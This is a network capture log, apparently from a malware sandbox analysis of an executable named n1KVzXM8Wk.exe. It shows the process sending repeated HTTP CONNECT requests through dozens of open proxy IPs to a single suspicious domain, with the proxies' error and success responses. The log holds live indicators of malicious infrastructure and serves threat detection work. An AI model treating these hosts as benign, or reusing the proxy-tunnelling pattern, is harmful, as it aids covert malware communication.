Feb 23, 2024 09:45:27.069058895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.4	53904	103.69.87.142	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.983480930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.680824041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.929383039 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.4	52987	45.136.197.139	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.985224009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.291969061 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.4	54054	104.20.233.70	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.998966932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.086489916 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.4	53917	60.188.102.225	18080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.999520063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.4	54063	172.67.182.96	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.010088921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.099338055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.4	53513	162.215.223.71	62691	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.011622906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.116154909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.4	53961	31.169.80.165	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.012502909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.4	53926	47.93.114.68	88	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.013813972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.369539022 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.2 Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.4	53935	103.154.112.34	35010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.050553083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.4	54013	104.238.111.107	36049	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.057925940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.556004047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.109488010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.147118092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.4	50758	45.117.179.240	8520	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.057934999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.4	53956	59.6.26.121	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.058129072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.4	53998	13.37.89.201	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.058235884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.227757931 CET	150	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: squid/3.5.28 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.4	53483	161.97.160.158	58943	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.062397957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.4	54006	207.180.234.139	14960	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.068945885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.4	54051	134.209.189.42	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.083153963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.243690968 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.4	54026	195.30.84.215	32858	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.093868971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.680655956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.365878105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.475153923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.681493998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.865922928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084259033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.381555080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.599884987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.4	53992	64.43.89.128	6387	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.093998909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.424822092 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.4	53783	184.170.249.65	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.128674030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.4	53323	27.147.24.205	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.129278898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.563774109 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.4	52982	5.182.87.176	33360	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.162491083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.240791082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.317138910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.443941116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.4	54043	194.146.110.228	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.162693024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.680815935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.365951061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.680888891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179249048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681972027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.178694010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.4	54030	176.98.81.85	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.162895918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.4	54037	37.46.241.247	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.163256884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.4	53628	141.94.174.6	38428	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.163460970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.555877924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.4	53041	103.230.126.123	60511	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.163923979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.4	54048	158.160.141.139	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.164519072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.379007101 CET	47	IN	HTTP/1.1 502 Bad Gateway content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.4	53971	8.217.187.52	24002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.164788961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.4	54019	177.38.245.110	55713	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.165106058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.4	50948	51.89.173.40	30199	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.166162968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.4	54011	193.151.130.114	8086	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.166348934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.4	53978	42.98.10.34	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.181931973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.508045912 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:44:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.4	54069	47.88.3.19	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.182265043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.4	54058	65.1.244.232	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:27.198582888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.474761009 CET	159	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:27 GMT Content-Type: text/plain X-Powered-By: ASP.NET Server: support@arraynetworks.net Content-Length: 0
Feb 23, 2024 09:45:27.477555037 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 27 13 f9 13 d7 b6 59 51 b8 c3 17 d8 3d 2a 94 80 1b f7 c9 8e c4 49 bb c8 64 c6 77 93 0b 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e['YQ=Idw,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#;"zI@W,q`b>I
